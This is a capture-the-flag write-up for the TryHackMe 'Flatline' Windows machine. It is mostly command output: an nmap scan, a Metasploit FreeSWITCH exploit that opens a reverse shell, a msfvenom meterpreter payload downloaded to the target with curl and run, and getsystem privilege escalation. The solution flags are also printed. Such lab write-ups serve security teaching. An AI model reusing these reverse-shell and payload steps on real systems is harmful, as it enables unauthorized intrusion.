Flatline CTF Write-Up:

Start with a simple nmap scan:

This is a machine that block ping (probbley windows os), so I run an nmap scan with the flag -Pn , find two open ports and furthere investigate theme to get this result:

```
┌──(root㉿kali)-[~/…/TryHackMe/Linux CTFs/wait for poc/flatline]
└─# nmap -sV -sC -Pn -p 3389,8021 flatline.thm
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-18 20:36 IDT
Nmap scan report for flatline.thm (10.10.53.125)
Host is up (0.11s latency).

PORT     STATE SERVICE       VERSION
3389/tcp open  ms-wbt-server  Microsoft Terminal Services
| rdp-ntlm-info:
|   Target_Name: WIN-EOM4PK0578N
|   NetBIOS_Domain_Name: WIN-EOM4PK0578N
|   NetBIOS_Computer_Name: WIN-EOM4PK0578N
|   DNS_Domain_Name: WIN-EOM4PK0578N
|   DNS_Computer_Name: WIN-EOM4PK0578N
|   Product_Version: 10.0.17763
|_  System_Time: 2024-06-18T17:36:53+00:00
| ssl-cert: Subject: commonName=WIN-EOM4PK0578N
| Not valid before: 2024-06-17T17:25:30
|_Not valid after:  2024-12-17T17:25:30
|_ssl-date: 2024-06-18T17:36:58+00:00; 0s from scanner time.
8021/tcp open  freeswitch-event FreeSWITCH mod_event_socket
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.31 seconds
```

So on port 8021 we have freeswitch-event service , search on Metasploit I found a RCE vulnerability :

```
msf6 > search freeswitch

Matching Modules
================

   #  Name                                                  Disclosure Date  Rank       Check  Description
   -  ----                                                  ---------------  ----       -----  -----------
   0  exploit/multi/misc/freeswitch_event_socket_cmd_exec   2019-11-03       excellent  Yes    FreeSWITCH Event Socket Command Execution
   1    \_ target: Unix (In-Memory)                         .                .          .      .
   2    \_ target: Linux (Dropper)                          .                .          .      .
```

So I use this exploit and set the options :

```
msf6 > use exploit/multi/misc/freeswitch_event_socket_cmd_exec
[*] Using configured payload cmd/unix/reverse
msf6 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set rhosts 10.10.53.125
rhosts => 10.10.53.125
msf6 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set target 3
target => 3
msf6 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set lhost 10.9.1.140
lhost => 10.9.1.140
msf6 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > run

[*] Started reverse TCP handler on 10.9.1.140:4444
[*] 10.10.53.125:8021 - Login success
[*] 10.10.53.125:8021 - Sending payload (4317 bytes) ...
[*] Command shell session 1 opened (10.9.1.140:4444 -> 10.10.53.125:49853) at 2024-06-18 20:52:08 +0300


Shell Banner:
Microsoft Windows [Version 10.0.17763.737]
-----


C:\Program Files\FreeSWITCH>dir
```

And I have a shell on the system!

On the user Nekrotic Desktop I found both the user and root flags, but the root flag require permittions:

```
PS C:\Users\Nekrotic\Desktop> ls
ls


    Directory: C:\Users\Nekrotic\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        09/11/2021     07:39             38 root.txt
-a----        09/11/2021     07:39             38 user.txt


PS C:\Users\Nekrotic\Desktop> cat user.txt
cat user.txt
THM{64bca0843d535fa73eecdc59d27cbe26}
PS C:\Users\Nekrotic\Desktop> cat root.txt
ccat : Access to the path 'C:\Users\Nekrotic\Desktop\root.txt' is denied.
at root.txt
```

So I generate an meterpreter payload using msfvenom :

```
┌──(root㉿kali)-[~/…/TryHackMe/Linux CTFs/wait for poc/flatline]
└─# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.9.1.140 LPORT=4242 -f exe > reverse.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
```

Move the exe file to the target using python http server :

```
┌──(root㉿kali)-[~/…/TryHackMe/Linux CTFs/wait for poc/flatline]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
```

```
PS C:\Users\Nekrotic\Desktop> curl -o C:\Users\Nekrotic\Desktop\reverse.exe http://10.9.1.140/reverse.exe
curl -o C:\Users\Nekrotic\Desktop\reverse.exe http://10.9.1.140/reverse.exe
PS C:\Users\Nekrotic\Desktop> ls
```

Start a multi handler listener to get the reverse meterpreter:

```
use msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 10.9.1.140
lhost => 10.9.1.140
msf6 exploit(multi/handler) > set lport 4242
lport => 4242
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.9.1.140:4242
```

Run the executable on the target system :

```
PS C:\Users\Nekrotic\Desktop> ./reverse.exe
./reverse.exe
```

Get a meterpreter :

```
[*] Sending stage (176198 bytes) to 10.10.53.125
[*] Meterpreter session 1 opened (10.9.1.140:4242 → 10.10.53.125:49898) at 2024-06-18 21:02:55 +0300

meterpreter > ?
```

No to escalate my privilege I simply use the get system:

```
meterpreter > getsystem
 ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
```

And read the root flag:

```
meterpreter > cat root.txt
THM{8c8bc5558f0f3f8060d00ca231a9fb5e} meterpreter >
```